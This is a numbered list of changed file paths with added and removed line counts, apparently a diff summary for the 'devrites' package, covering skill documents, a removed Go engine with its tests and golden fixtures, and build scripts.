  425. package/pack/generated/codex/skills/devrites-lib/reference/standards/skill-authoring.md +112 -82
  426. package/pack/generated/codex/skills/devrites-lib/reference/standards/spec-grammar.md +71 -45
  427. package/pack/generated/codex/skills/devrites-lib/reference/standards/testing.md +22 -11
  428. package/pack/generated/codex/skills/devrites-lib/reference/standards/tooling.md +15 -24
  429. package/pack/generated/codex/skills/devrites-lib/reference/workspace-artifact-schema.md +106 -37
  430. package/pack/generated/codex/skills/devrites-prose-craft/SKILL.md +3 -23
  431. package/pack/generated/codex/skills/devrites-source-driven/SKILL.md +3 -23
  432. package/pack/generated/codex/skills/devrites-ux-shape/SKILL.md +3 -22
  433. package/pack/generated/codex/skills/rite/SKILL.md +12 -32
  434. package/pack/generated/codex/skills/rite/reference/menu.md +11 -11
  435. package/pack/generated/codex/skills/rite-adopt/SKILL.md +29 -103
  436. package/pack/generated/codex/skills/rite-adopt/reference/adoption.md +16 -50
  437. package/pack/generated/codex/skills/rite-autocomplete/SKILL.md +65 -73
  438. package/pack/generated/codex/skills/rite-autocomplete/reference/loop.md +24 -17
  439. package/pack/generated/codex/skills/rite-autocomplete/reference/stop-conditions.md +18 -21
  440. package/pack/generated/codex/skills/rite-build/SKILL.md +28 -53
  441. package/pack/generated/codex/skills/rite-build/reference/afk-discipline.md +36 -34
  442. package/pack/generated/codex/skills/rite-build/reference/anti-patterns.md +5 -19
  443. package/pack/generated/codex/skills/rite-build/reference/checkpoint-protocol.md +10 -9
  444. package/pack/generated/codex/skills/rite-build/reference/checkpoint.md +17 -17
  445. package/pack/generated/codex/skills/rite-build/reference/frontend-trigger.md +3 -3
  446. package/pack/generated/codex/skills/rite-build/reference/one-slice-cycle.md +11 -14
  447. package/pack/generated/codex/skills/rite-build/reference/output.md +14 -24
  448. package/pack/generated/codex/skills/rite-build/reference/phase-contract.md +49 -188
  449. package/pack/generated/codex/skills/rite-build/reference/spec-drift-guard.md +1 -1
  450. package/pack/generated/codex/skills/rite-build/reference/wright-dispatch.md +43 -133
  451. package/pack/generated/codex/skills/rite-clarify/SKILL.md +46 -59
  452. package/pack/generated/codex/skills/rite-clarify/reference/decision-coverage.md +4 -10
  453. package/pack/generated/codex/skills/rite-converge/SKILL.md +9 -52
  454. package/pack/generated/codex/skills/rite-converge/reference/convergence-assessment.md +2 -2
  455. package/pack/generated/codex/skills/rite-customize/SKILL.md +32 -67
  456. package/pack/generated/codex/skills/rite-define/SKILL.md +34 -77
  457. package/pack/generated/codex/skills/rite-define/reference/plan-template.md +15 -0
  458. package/pack/generated/codex/skills/rite-doctor/SKILL.md +52 -83
  459. package/pack/generated/codex/skills/rite-dogfood/SKILL.md +1 -21
  460. package/pack/generated/codex/skills/rite-explain/SKILL.md +1 -39
  461. package/pack/generated/codex/skills/rite-frame/SKILL.md +1 -26
  462. package/pack/generated/codex/skills/rite-frame/reference/failure-modes.md +1 -1
  463. package/pack/generated/codex/skills/rite-handoff/SKILL.md +1 -21
  464. package/pack/generated/codex/skills/rite-handoff/reference/handoff-template.md +1 -1
  465. package/pack/generated/codex/skills/rite-learn/SKILL.md +44 -123
  466. package/pack/generated/codex/skills/rite-plan/SKILL.md +14 -45
  467. package/pack/generated/codex/skills/rite-plan/reference/task-breakdown.md +4 -1
  468. package/pack/generated/codex/skills/rite-polish/SKILL.md +20 -47
  469. package/pack/generated/codex/skills/rite-polish/reference/adr-promotion.md +11 -0
  470. package/pack/{.claude/skills/rite-ship → generated/codex/skills/rite-polish}/reference/design-memory.md +23 -21
  471. package/pack/generated/codex/skills/rite-polish/reference/ledger.md +62 -0
  472. package/pack/generated/codex/skills/rite-pov/SKILL.md +28 -51
  473. package/pack/generated/codex/skills/rite-pr-feedback/SKILL.md +0 -20
  474. package/pack/generated/codex/skills/rite-pressure-test/SKILL.md +6 -32
  475. package/pack/generated/codex/skills/rite-prototype/SKILL.md +0 -25
  476. package/pack/generated/codex/skills/rite-prove/SKILL.md +73 -87
  477. package/pack/generated/codex/skills/rite-prove/reference/acceptance-proof.md +34 -30
  478. package/pack/generated/codex/skills/rite-prove/reference/test-command-discovery.md +15 -14
  479. package/pack/generated/codex/skills/rite-quick/SKILL.md +5 -38
  480. package/pack/generated/codex/skills/rite-resolve/SKILL.md +4 -40
  481. package/pack/generated/codex/skills/rite-resolve/reference/answer-protocol.md +2 -2
  482. package/pack/generated/codex/skills/rite-review/SKILL.md +34 -76
  483. package/pack/generated/codex/skills/rite-seal/SKILL.md +51 -103
  484. package/pack/generated/codex/skills/rite-seal/reference/anti-patterns.md +2 -2
  485. package/pack/generated/codex/skills/rite-seal/reference/final-evidence.md +31 -56
  486. package/pack/generated/codex/skills/rite-seal/reference/go-no-go.md +27 -51
  487. package/pack/generated/codex/skills/rite-seal/reference/output.md +2 -4
  488. package/pack/generated/codex/skills/rite-seal/reference/phase-contract.md +42 -140
  489. package/pack/generated/codex/skills/rite-seal/reference/risk-and-rollback.md +2 -2
  490. package/pack/generated/codex/skills/rite-seal/reference/seal-template.md +17 -28
  491. package/pack/generated/codex/skills/rite-ship/SKILL.md +65 -112
  492. package/pack/generated/codex/skills/rite-ship/reference/anti-patterns.md +4 -1
  493. package/pack/generated/codex/skills/rite-ship/reference/close-out.md +4 -12
  494. package/pack/generated/codex/skills/rite-ship/reference/git-ship.md +86 -48
  495. package/pack/generated/codex/skills/rite-ship/reference/ship-template.md +22 -16
  496. package/pack/generated/codex/skills/rite-spec/SKILL.md +62 -114
  497. package/pack/generated/codex/skills/rite-spec/reference/investigation.md +1 -4
  498. package/pack/generated/codex/skills/rite-spec/reference/question-protocol.md +21 -20
  499. package/pack/generated/codex/skills/rite-spec/reference/spec-checklists.md +16 -17
  500. package/pack/generated/codex/skills/rite-spec/reference/spec-template.md +47 -49
  501. package/pack/generated/codex/skills/rite-spec/reference/state-workspace.md +28 -13
  502. package/pack/generated/codex/skills/rite-status/SKILL.md +30 -107
  503. package/pack/generated/codex/skills/rite-temper/SKILL.md +12 -50
  504. package/pack/generated/codex/skills/rite-upgrade/SKILL.md +86 -120
  505. package/pack/generated/codex/skills/rite-vet/SKILL.md +88 -136
  506. package/pack/generated/codex/skills/rite-vet/reference/artifacts.md +56 -50
  507. package/pack/generated/codex/skills/rite-vet/reference/cross-model.md +15 -39
  508. package/pack/generated/codex/skills/rite-vet/reference/depth.md +2 -2
  509. package/pack/generated/codex/skills/rite-vet/reference/review-axes.md +3 -6
  510. package/pack/generated/codex/skills/rite-zoom-out/SKILL.md +0 -25
  511. package/package.json +6 -5
  512. package/scripts/build-host-artifacts.sh +5 -9
  513. package/scripts/codex-generate.sh +18 -278
  514. package/scripts/install-lib.sh +121 -34
  515. package/uninstall.sh +19 -17
  516. package/update.sh +26 -18
  517. package/docs/engine/agent-contract.md +0 -172
  518. package/docs/extensions.md +0 -178
  519. package/engine/git_guard.go +0 -187
  520. package/engine/git_guard_test.go +0 -283
  521. package/engine/harnessmatrix.go +0 -60
  522. package/engine/hookpolicy.go +0 -113
  523. package/engine/hookpolicy_test.go +0 -160
  524. package/engine/hooks.go +0 -677
  525. package/engine/hooks_agent_dispatch.go +0 -1637
  526. package/engine/hooks_events_test.go +0 -431
  527. package/engine/hooks_workspace.go +0 -1196
  528. package/engine/internal/doctor/doctor.go +0 -306
  529. package/engine/internal/doctor/doctor_test.go +0 -252
  530. package/engine/internal/forge/forge.go +0 -938
  531. package/engine/internal/forge/forge_test.go +0 -576
  532. package/engine/internal/forge/git.go +0 -245
  533. package/engine/internal/forge/liveness_unix.go +0 -48
  534. package/engine/internal/forge/liveness_windows.go +0 -67
  535. package/engine/internal/forge/manifest.go +0 -402
  536. package/engine/internal/harness/compliance.go +0 -96
  537. package/engine/internal/harness/harness.go +0 -301
  538. package/engine/internal/harness/harness_test.go +0 -124
  539. package/engine/internal/iohooks/detach_other.go +0 -11
  540. package/engine/internal/iohooks/detach_unix.go +0 -11
  541. package/engine/internal/iohooks/iohooks.go +0 -839
  542. package/engine/internal/iohooks/iohooks_test.go +0 -561
  543. package/engine/internal/lib/adoption.go +0 -659
  544. package/engine/internal/lib/adoption_test.go +0 -121
  545. package/engine/internal/lib/analyze.go +0 -232
  546. package/engine/internal/lib/archivesearch.go +0 -125
  547. package/engine/internal/lib/archivesearch_test.go +0 -138
  548. package/engine/internal/lib/budget.go +0 -172
  549. package/engine/internal/lib/buildreadiness.go +0 -111
  550. package/engine/internal/lib/checkacceptance.go +0 -176
  551. package/engine/internal/lib/clarifyreturn.go +0 -91
  552. package/engine/internal/lib/clarifyreturn_test.go +0 -123
  553. package/engine/internal/lib/command_other.go +0 -7
  554. package/engine/internal/lib/command_unix.go +0 -24
  555. package/engine/internal/lib/context.go +0 -280
  556. package/engine/internal/lib/conventions.go +0 -449
  557. package/engine/internal/lib/coverage.go +0 -145
  558. package/engine/internal/lib/dispatchwaive.go +0 -31
  559. package/engine/internal/lib/dispatchwaive_test.go +0 -23
  560. package/engine/internal/lib/doubtcoverage.go +0 -78
  561. package/engine/internal/lib/extensions.go +0 -622
  562. package/engine/internal/lib/extensions_test.go +0 -305
  563. package/engine/internal/lib/footprint.go +0 -239
  564. package/engine/internal/lib/gitauthority.go +0 -601
  565. package/engine/internal/lib/gitauthority_test.go +0 -346
  566. package/engine/internal/lib/jsonout.go +0 -129
  567. package/engine/internal/lib/jsonout_test.go +0 -73
  568. package/engine/internal/lib/lanes.go +0 -112
  569. package/engine/internal/lib/learnings.go +0 -397
  570. package/engine/internal/lib/learnings_inject_test.go +0 -77
  571. package/engine/internal/lib/learnings_remediation_test.go +0 -24
  572. package/engine/internal/lib/ledger.go +0 -311
  573. package/engine/internal/lib/ledger_test.go +0 -186
  574. package/engine/internal/lib/mutationgate.go +0 -89
  575. package/engine/internal/lib/observability_test.go +0 -358
  576. package/engine/internal/lib/overrides.go +0 -164
  577. package/engine/internal/lib/overrides_test.go +0 -112
  578. package/engine/internal/lib/preamble.go +0 -159
  579. package/engine/internal/lib/preamble_questions_test.go +0 -10
  580. package/engine/internal/lib/progress.go +0 -210
  581. package/engine/internal/lib/provenance.go +0 -462
  582. package/engine/internal/lib/provenance_test.go +0 -154
  583. package/engine/internal/lib/readiness_contract.json +0 -118
  584. package/engine/internal/lib/readinessartifact.go +0 -533
  585. package/engine/internal/lib/readinessartifact_test.go +0 -422
  586. package/engine/internal/lib/reconcile.go +0 -1496
  587. package/engine/internal/lib/reconcile_test.go +0 -1071
  588. package/engine/internal/lib/recoveryattempts.go +0 -298
  589. package/engine/internal/lib/recoveryattempts_test.go +0 -215
  590. package/engine/internal/lib/reviewers.go +0 -143
  591. package/engine/internal/lib/reviewers_test.go +0 -45
  592. package/engine/internal/lib/reviewerstats.go +0 -199
  593. package/engine/internal/lib/reviewerstats_test.go +0 -104
  594. package/engine/internal/lib/reviewintegrity.go +0 -143
  595. package/engine/internal/lib/reviewintegrity_test.go +0 -103
  596. package/engine/internal/lib/runbook.go +0 -295
  597. package/engine/internal/lib/runbook_context_test.go +0 -182
  598. package/engine/internal/lib/session.go +0 -1020
  599. package/engine/internal/lib/session_test.go +0 -177
  600. package/engine/internal/lib/specparse.go +0 -125
  601. package/engine/internal/lib/specskeleton.go +0 -79
  602. package/engine/internal/lib/specvalidate.go +0 -391
  603. package/engine/internal/lib/specvalidate_test.go +0 -185
  604. package/engine/internal/lib/stuck.go +0 -206
  605. package/engine/internal/lib/templates/conventions_drift.tmpl +0 -6
  606. package/engine/internal/lib/templates/conventions_ledger_header.md +0 -6
  607. package/engine/internal/lib/templates/conventions_orient_header.txt +0 -1
  608. package/engine/internal/lib/testintegrity.go +0 -199
  609. package/engine/internal/lib/testintegrity_test.go +0 -149
  610. package/engine/internal/lib/tickafk.go +0 -86
  611. package/engine/internal/migrate/migrate.go +0 -279
  612. package/engine/internal/migrate/migrate_test.go +0 -157
  613. package/engine/internal/orient/firstrun.go +0 -50
  614. package/engine/internal/orient/firstrun_test.go +0 -72
  615. package/engine/internal/orient/orient.go +0 -69
  616. package/engine/internal/orient/orient_test.go +0 -25
  617. package/engine/internal/profile/profile.go +0 -284
  618. package/engine/internal/profile/profile_test.go +0 -13
  619. package/engine/internal/state/clarify_transition.go +0 -165
  620. package/engine/internal/state/clarify_transition_test.go +0 -130
  621. package/engine/internal/state/snapshot.go +0 -457
  622. package/engine/internal/toolpolicy/classifier.go +0 -533
  623. package/engine/internal/toolpolicy/classifier_test.go +0 -424
  624. package/engine/internal/toolpolicy/git.go +0 -616
  625. package/engine/internal/toolpolicy/scanner.go +0 -382
  626. package/engine/observability_cli_test.go +0 -52
  627. package/engine/profile_test.go +0 -76
  628. package/engine/subagent_orient_context.txt +0 -8
  629. package/engine/testdata/golden/TestParityA1Guard/devrites-edit-allowed.golden +0 -1
  630. package/engine/testdata/golden/TestParityA1Guard/no-window-silent.golden +0 -1
  631. package/engine/testdata/golden/TestParityA1Guard/non-edit-tool.golden +0 -1
  632. package/engine/testdata/golden/TestParityA1Guard/observe-mode-silent.golden +0 -1
  633. package/engine/testdata/golden/TestParityA1Guard/source-edit-enforce-denies.golden +0 -2
  634. package/engine/testdata/golden/TestParityA1Guard/subagent-allowed.golden +0 -1
  635. package/engine/testdata/golden/TestParityAnalyze/noactive.golden +0 -1
  636. package/engine/testdata/golden/TestParityAnalyze/slug=covered.golden +0 -15
  637. package/engine/testdata/golden/TestParityAnalyze/slug=dangling.golden +0 -16
  638. package/engine/testdata/golden/TestParityAnalyze/slug=ghost.golden +0 -1
  639. package/engine/testdata/golden/TestParityAnalyze/slug=noac.golden +0 -15
  640. package/engine/testdata/golden/TestParityAnalyze/slug=order.golden +0 -17
  641. package/engine/testdata/golden/TestParityAnalyze/slug=orphan.golden +0 -16
  642. package/engine/testdata/golden/TestParityAnalyze/slug=uncovered.golden +0 -16
  643. package/engine/testdata/golden/TestParityBudget/default-active.golden +0 -4
  644. package/engine/testdata/golden/TestParityBudget/extra-md.golden +0 -5
  645. package/engine/testdata/golden/TestParityBudget/no-active.golden +0 -1
  646. package/engine/testdata/golden/TestParityBudget/no-feature.golden +0 -1
  647. package/engine/testdata/golden/TestParityBudget/over-advisory.golden +0 -6
  648. package/engine/testdata/golden/TestParityBudget/over-strict.golden +0 -6
  649. package/engine/testdata/golden/TestParityBudget/within.golden +0 -6
  650. package/engine/testdata/golden/TestParityBuildReadiness/arg=approved.golden +0 -2
  651. package/engine/testdata/golden/TestParityBuildReadiness/arg=approvenone.golden +0 -1
  652. package/engine/testdata/golden/TestParityBuildReadiness/arg=await.golden +0 -1
  653. package/engine/testdata/golden/TestParityBuildReadiness/arg=blocked.golden +0 -1
  654. package/engine/testdata/golden/TestParityBuildReadiness/arg=clarifyopen.golden +0 -1
  655. package/engine/testdata/golden/TestParityBuildReadiness/arg=emptystatus.golden +0 -2
  656. package/engine/testdata/golden/TestParityBuildReadiness/arg=ghost.golden +0 -1
  657. package/engine/testdata/golden/TestParityBuildReadiness/arg=legacycontract.golden +0 -1
  658. package/engine/testdata/golden/TestParityBuildReadiness/arg=noapprove.golden +0 -1
  659. package/engine/testdata/golden/TestParityBuildReadiness/arg=noclarify.golden +0 -1
  660. package/engine/testdata/golden/TestParityBuildReadiness/arg=novet.golden +0 -1
  661. package/engine/testdata/golden/TestParityBuildReadiness/arg=stalevet.golden +0 -1
  662. package/engine/testdata/golden/TestParityBuildReadiness/arg=trailhash.golden +0 -2
  663. package/engine/testdata/golden/TestParityBuildReadiness/arg=trailpipe.golden +0 -2
  664. package/engine/testdata/golden/TestParityBuildReadiness/arg=vetnotready.golden +0 -1
  665. package/engine/testdata/golden/TestParityCheckAcceptance/arg=blank-section.golden +0 -1
  666. package/engine/testdata/golden/TestParityCheckAcceptance/arg=empty.golden +0 -1
  667. package/engine/testdata/golden/TestParityCheckAcceptance/arg=flat-dropped.golden +0 -1
  668. package/engine/testdata/golden/TestParityCheckAcceptance/arg=flat-ok.golden +0 -2
  669. package/engine/testdata/golden/TestParityCheckAcceptance/arg=flat-unchecked.golden +0 -1
  670. package/engine/testdata/golden/TestParityCheckAcceptance/arg=id-gap.golden +0 -1
  671. package/engine/testdata/golden/TestParityCheckAcceptance/arg=id-ok.golden +0 -2
  672. package/engine/testdata/golden/TestParityCheckAcceptance/arg=no-seal.golden +0 -1
  673. package/engine/testdata/golden/TestParityCheckAcceptance/arg=no-section.golden +0 -1
  674. package/engine/testdata/golden/TestParityCheckAcceptance/arg=nonexistent.golden +0 -1
  675. package/engine/testdata/golden/TestParityCheckAcceptance.golden +0 -1
  676. package/engine/testdata/golden/TestParityCoverage/arg=flat.golden +0 -7
  677. package/engine/testdata/golden/TestParityCoverage/arg=full.golden +0 -10
  678. package/engine/testdata/golden/TestParityCoverage/arg=nonexistent.golden +0 -1
  679. package/engine/testdata/golden/TestParityCoverage/arg=nospec.golden +0 -1
  680. package/engine/testdata/golden/TestParityCoverage/arg=speconly.golden +0 -9
  681. package/engine/testdata/golden/TestParityCoverage.golden +0 -1
  682. package/engine/testdata/golden/TestParityCursor/bare.golden +0 -3
  683. package/engine/testdata/golden/TestParityCursor/full-afk.golden +0 -6
  684. package/engine/testdata/golden/TestParityCursor/full-hitl.golden +0 -5
  685. package/engine/testdata/golden/TestParityCursor/no-active.golden +0 -1
  686. package/engine/testdata/golden/TestParityCursor/red.golden +0 -5
  687. package/engine/testdata/golden/TestParityCursor/zerogates.golden +0 -5
  688. package/engine/testdata/golden/TestParityDoubtCoverage/arg=doubted.golden +0 -2
  689. package/engine/testdata/golden/TestParityDoubtCoverage/arg=ghost.golden +0 -2
  690. package/engine/testdata/golden/TestParityDoubtCoverage/arg=missing.golden +0 -3
  691. package/engine/testdata/golden/TestParityDoubtCoverage/arg=nodoubt.golden +0 -4
  692. package/engine/testdata/golden/TestParityDoubtCoverage/arg=nolog.golden +0 -2
  693. package/engine/testdata/golden/TestParityDoubtCoverage/arg=nowright.golden +0 -2
  694. package/engine/testdata/golden/TestParityDoubtCoverage.golden +0 -1
  695. package/engine/testdata/golden/TestParityMutationGate/active-slug.golden +0 -3
  696. package/engine/testdata/golden/TestParityMutationGate/explicit-slug.golden +0 -3
  697. package/engine/testdata/golden/TestParityMutationGate/ghost.golden +0 -1
  698. package/engine/testdata/golden/TestParityOrientSilentPath.golden +0 -1
  699. package/engine/testdata/golden/TestParityReconcile/bad-mode.golden +0 -1
  700. package/engine/testdata/golden/TestParityReconcile/check-clean/snapshot.golden +0 -2
  701. package/engine/testdata/golden/TestParityReconcile/check-clean.golden +0 -2
  702. package/engine/testdata/golden/TestParityReconcile/check-no-base.golden +0 -1
  703. package/engine/testdata/golden/TestParityReconcile/check-no-claimed/snapshot.golden +0 -2
  704. package/engine/testdata/golden/TestParityReconcile/check-violation/snapshot.golden +0 -2
  705. package/engine/testdata/golden/TestParityReconcile/check-violation.golden +0 -1
  706. package/engine/testdata/golden/TestParityReconcile/close-window/snapshot.golden +0 -2
  707. package/engine/testdata/golden/TestParityReconcile/close-window.golden +0 -3
  708. package/engine/testdata/golden/TestParityReconcile/not-git.golden +0 -1
  709. package/engine/testdata/golden/TestParityReconcile/snapshot/snapshot.golden +0 -2
  710. package/engine/testdata/golden/TestParityReconcile/snapshot-no-allowlist.golden +0 -1
  711. package/engine/testdata/golden/TestParityReconcile/snapshot.golden +0 -2
  712. package/engine/testdata/golden/TestParityRedwatch/fail-writes-red.golden +0 -2
  713. package/engine/testdata/golden/TestParityRedwatch/non-bash-tool.golden +0 -1
  714. package/engine/testdata/golden/TestParityRedwatch/non-test-command.golden +0 -1
  715. package/engine/testdata/golden/TestParityRedwatch/pass-clears-red.golden +0 -1
  716. package/engine/testdata/golden/TestParityResolve/next-qid.golden +0 -2
  717. package/engine/testdata/golden/TestParityReviewerReadonly/agent-required-devrites-agent-denies.golden +0 -2
  718. package/engine/testdata/golden/TestParityReviewerReadonly/agent-required-non-devrites-allows.golden +0 -1
  719. package/engine/testdata/golden/TestParityReviewerReadonly/agent-required-subagent-type-only-allows.golden +0 -1
  720. package/engine/testdata/golden/TestParityReviewerReadonly/enforce-deny-git-commit.golden +0 -2
  721. package/engine/testdata/golden/TestParityReviewerReadonly/enforce-deny-mutating.golden +0 -2
  722. package/engine/testdata/golden/TestParityReviewerReadonly/non-bash-tool.golden +0 -1
  723. package/engine/testdata/golden/TestParityReviewerReadonly/non-tool-input.golden +0 -1
  724. package/engine/testdata/golden/TestParityReviewerReadonly/observe-mutating-silent.golden +0 -1
  725. package/engine/testdata/golden/TestParityReviewerReadonly/safe-bash-command.golden +0 -1
  726. package/engine/testdata/golden/TestParitySpecValidate/arg=dup.golden +0 -1
  727. package/engine/testdata/golden/TestParitySpecValidate/arg=empty.golden +0 -1
  728. package/engine/testdata/golden/TestParitySpecValidate/arg=flat.golden +0 -2
  729. package/engine/testdata/golden/TestParitySpecValidate/arg=nonexistent.golden +0 -1
  730. package/engine/testdata/golden/TestParitySpecValidate/arg=noscenario.golden +0 -1
  731. package/engine/testdata/golden/TestParitySpecValidate/arg=noshall.golden +0 -1
  732. package/engine/testdata/golden/TestParitySpecValidate/arg=nothen.golden +0 -1
  733. package/engine/testdata/golden/TestParitySpecValidate/arg=valid/spec.md.golden +0 -2
  734. package/engine/testdata/golden/TestParitySpecValidate/arg=valid.golden +0 -2
  735. package/engine/testdata/golden/TestParitySpecValidate.golden +0 -1
  736. package/engine/testdata/golden/TestParityStatusline/full-afk.golden +0 -2
  737. package/engine/testdata/golden/TestParityStatusline/full-hitl.golden +0 -2
  738. package/engine/testdata/golden/TestParityStatusline/no-active.golden +0 -1
  739. package/engine/testdata/golden/TestParityStatusline/nophase.golden +0 -2
  740. package/engine/testdata/golden/TestParityStatusline/red.golden +0 -2
  741. package/engine/testdata/golden/TestParityStuckCheck/bad-cmd.golden +0 -1
  742. package/engine/testdata/golden/TestParityStuckCheck/custom-window-2.golden +0 -2
  743. package/engine/testdata/golden/TestParityStuckCheck/dominant.golden +0 -2
  744. package/engine/testdata/golden/TestParityStuckCheck/few.golden +0 -2
  745. package/engine/testdata/golden/TestParityStuckCheck/ghost.golden +0 -2
  746. package/engine/testdata/golden/TestParityStuckCheck/identical.golden +0 -2
  747. package/engine/testdata/golden/TestParityStuckCheck/no-cmd.golden +0 -1
  748. package/engine/testdata/golden/TestParityStuckCheck/no-slug.golden +0 -1
  749. package/engine/testdata/golden/TestParityStuckCheck/nolog.golden +0 -2
  750. package/engine/testdata/golden/TestParityStuckCheck/pingpong.golden +0 -2
  751. package/engine/testdata/golden/TestParityStuckCheck/varied.golden +0 -2
  752. package/engine/testdata/golden/TestParityStuckCheck/window-04-identical.golden +0 -2
  753. package/engine/testdata/golden/TestParityStuckCheck/window-2.5-varied4.golden +0 -2
  754. package/engine/testdata/golden/TestParityStuckCheck/window-4x-varied4.golden +0 -2
  755. package/engine/testdata/golden/TestParityStuckCheck/window-leadspace-varied4.golden +0 -2
  756. package/engine/testdata/golden/TestParityStuckCheck/window-plus4-identical.golden +0 -2
  757. package/engine/testdata/golden/TestParitySubagentOrient/devrites-agent-subagent-type-key.golden +0 -2
  758. package/engine/testdata/golden/TestParitySubagentOrient/devrites-agent.golden +0 -2
  759. package/engine/testdata/golden/TestParitySubagentOrient/garbage-input.golden +0 -1
  760. package/engine/testdata/golden/TestParitySubagentOrient/non-devrites-agent.golden +0 -1
  761. package/engine/testdata/golden/TestParityTestIntegrity/assertion-dropped.golden +0 -1
  762. package/engine/testdata/golden/TestParityTestIntegrity/clean.golden +0 -2
  763. package/engine/testdata/golden/TestParityTestIntegrity/deleted.golden +0 -1
  764. package/engine/testdata/golden/TestParityTestIntegrity/ghost-workspace.golden +0 -1
  765. package/engine/testdata/golden/TestParityTestIntegrity/not-git.golden +0 -1
  766. package/engine/testdata/golden/TestParityTestIntegrity/skip-added.golden +0 -1
  767. package/engine/testdata/golden/TestParityTickAfk/budget1/state.md.golden +0 -1
  768. package/engine/testdata/golden/TestParityTickAfk/budget1.golden +0 -2
  769. package/engine/testdata/golden/TestParityTickAfk/budget3/state.md.golden +0 -5
  770. package/engine/testdata/golden/TestParityTickAfk/budget3.golden +0 -2
  771. package/engine/testdata/golden/TestParityTickAfk/bulletPipe/state.md.golden +0 -1
  772. package/engine/testdata/golden/TestParityTickAfk/bulletPipe.golden +0 -2
  773. package/engine/testdata/golden/TestParityTickAfk/missingField/state.md.golden +0 -3
  774. package/engine/testdata/golden/TestParityTickAfk/missingField.golden +0 -2
  775. package/engine/testdata/golden/TestParityTickAfk/missingFile.golden +0 -1
  776. package/engine/testdata/golden/TestParityTickAfk/nonNumeric/state.md.golden +0 -1
  777. package/engine/testdata/golden/TestParityTickAfk/nonNumeric.golden +0 -1
  778. package/engine/testdata/golden/TestParityTickAfk/none/state.md.golden +0 -1
  779. package/engine/testdata/golden/TestParityTickAfk/none.golden +0 -2
  780. package/engine/testdata/golden/TestParityWrightScope/agent-required-non-wright.golden +0 -1
  781. package/engine/testdata/golden/TestParityWrightScope/devrites-edit-denied.golden +0 -2
  782. package/engine/testdata/golden/TestParityWrightScope/in-scope-allowed.golden +0 -1
  783. package/engine/testdata/golden/TestParityWrightScope/non-edit-tool.golden +0 -1
  784. package/engine/testdata/golden/TestParityWrightScope/out-of-scope-enforce-denies.golden +0 -2
  785. package/engine/testdata/golden/TestParityWrightScope/out-of-scope-observe-silent.golden +0 -1
  786. package/engine/testdata/golden/TestSpecSkeleton/missing-some.golden +0 -2
  787. package/engine/testdata/golden/TestSpecSkeleton/present-all.golden +0 -2
  788. package/engine/testdata/golden/TestStuckLogHashParity.golden +0 -1
  789. package/engine/tests/adr_0006_clock_seam_test.go +0 -36
  790. package/engine/tests/budget_test.go +0 -88
  791. package/engine/tests/canonical_ac_ids_test.go +0 -44
  792. package/engine/tests/concurrency_cli_test.go +0 -131
  793. package/engine/tests/conventions_test.go +0 -106
  794. package/engine/tests/doctor_cli_test.go +0 -223
  795. package/engine/tests/forge_cli_test.go +0 -463
  796. package/engine/tests/hook_test.go +0 -2732
  797. package/engine/tests/hooks_io_test.go +0 -309
  798. package/engine/tests/json_contract_test.go +0 -224
  799. package/engine/tests/lib_parity_test.go +0 -930
  800. package/engine/tests/migrate_cli_test.go +0 -195
  801. package/engine/tests/parity_analyze_test.go +0 -55
  802. package/engine/tests/parity_buildreadiness_test.go +0 -199
  803. package/engine/tests/parity_learnings_test.go +0 -89
  804. package/engine/tests/parity_mutationgate_test.go +0 -36
  805. package/engine/tests/parity_reconcile_test.go +0 -94
  806. package/engine/tests/parity_testintegrity_test.go +0 -65
  807. package/engine/tests/parity_tickafk_test.go +0 -83
  808. package/engine/validatepack.go +0 -192
  809. package/engine/validatepack_test.go +0 -79
  810. package/engine/validatepackskills.go +0 -181
  811. package/engine/validatepackskills_test.go +0 -171
  812. package/pack/.claude/agents/devrites-forge-judge.md +0 -118
  813. package/pack/.claude/skills/devrites-lib/reference/model-tiers.md +0 -44
  814. package/pack/.claude/skills/devrites-refresh-indexes/SKILL.md +0 -52
  815. package/pack/.claude/skills/rite-build/reference/evidence-standard.md +0 -45
  816. package/pack/.claude/skills/rite-build/reference/forge.md +0 -210
  817. package/pack/.claude/skills/rite-seal/reference/conventions-ledger.md +0 -60
  818. package/pack/.claude/skills/rite-ship/reference/adr-promotion.md +0 -9
  819. package/pack/.claude/skills/rite-ship/reference/ledger.md +0 -56
  820. package/pack/generated/claude/agents/devrites-forge-judge.md +0 -118
  821. package/pack/generated/claude/skills/devrites-lib/reference/model-tiers.md +0 -44
  822. package/pack/generated/claude/skills/devrites-refresh-indexes/SKILL.md +0 -52
  823. package/pack/generated/claude/skills/rite-build/reference/evidence-standard.md +0 -45
  824. package/pack/generated/claude/skills/rite-build/reference/forge.md +0 -210
  825. package/pack/generated/claude/skills/rite-seal/reference/conventions-ledger.md +0 -60
  826. package/pack/generated/claude/skills/rite-ship/reference/adr-promotion.md +0 -9
  827. package/pack/generated/claude/skills/rite-ship/reference/ledger.md +0 -56
  828. package/pack/generated/codex/agents/devrites-forge-judge.toml +0 -128
  829. package/pack/generated/codex/hooks.json +0 -185
  830. package/pack/generated/codex/skills/devrites-api-interface/agents/openai.yaml +0 -2
  831. package/pack/generated/codex/skills/devrites-audit/agents/openai.yaml +0 -2
  832. package/pack/generated/codex/skills/devrites-browser-proof/agents/openai.yaml +0 -2
  833. package/pack/generated/codex/skills/devrites-debug-recovery/agents/openai.yaml +0 -2
  834. package/pack/generated/codex/skills/devrites-doubt/agents/openai.yaml +0 -2
  835. package/pack/generated/codex/skills/devrites-frontend-craft/agents/openai.yaml +0 -2
  836. package/pack/generated/codex/skills/devrites-interview/agents/openai.yaml +0 -2
  837. package/pack/generated/codex/skills/devrites-lib/reference/model-tiers.md +0 -44
  838. package/pack/generated/codex/skills/devrites-prose-craft/agents/openai.yaml +0 -2
  839. package/pack/generated/codex/skills/devrites-refresh-indexes/SKILL.md +0 -71
  840. package/pack/generated/codex/skills/devrites-refresh-indexes/agents/openai.yaml +0 -2
  841. package/pack/generated/codex/skills/devrites-source-driven/agents/openai.yaml +0 -2
  842. package/pack/generated/codex/skills/devrites-ux-shape/agents/openai.yaml +0 -2
  843. package/pack/generated/codex/skills/rite-build/reference/evidence-standard.md +0 -45
  844. package/pack/generated/codex/skills/rite-build/reference/forge.md +0 -210
  845. package/pack/generated/codex/skills/rite-seal/reference/conventions-ledger.md +0 -60
  846. package/pack/generated/codex/skills/rite-ship/reference/adr-promotion.md +0 -9
  847. package/pack/generated/codex/skills/rite-ship/reference/ledger.md +0 -56
  848. package/scripts/build-binaries.sh +0 -75
  849. package/scripts/build-release-tarball.sh +0 -105
  850. package/scripts/check-authority-drift.py +0 -125
  851. package/scripts/check-cross-refs.py +0 -139
  852. package/scripts/check-generated-skill-budget.mjs +0 -42
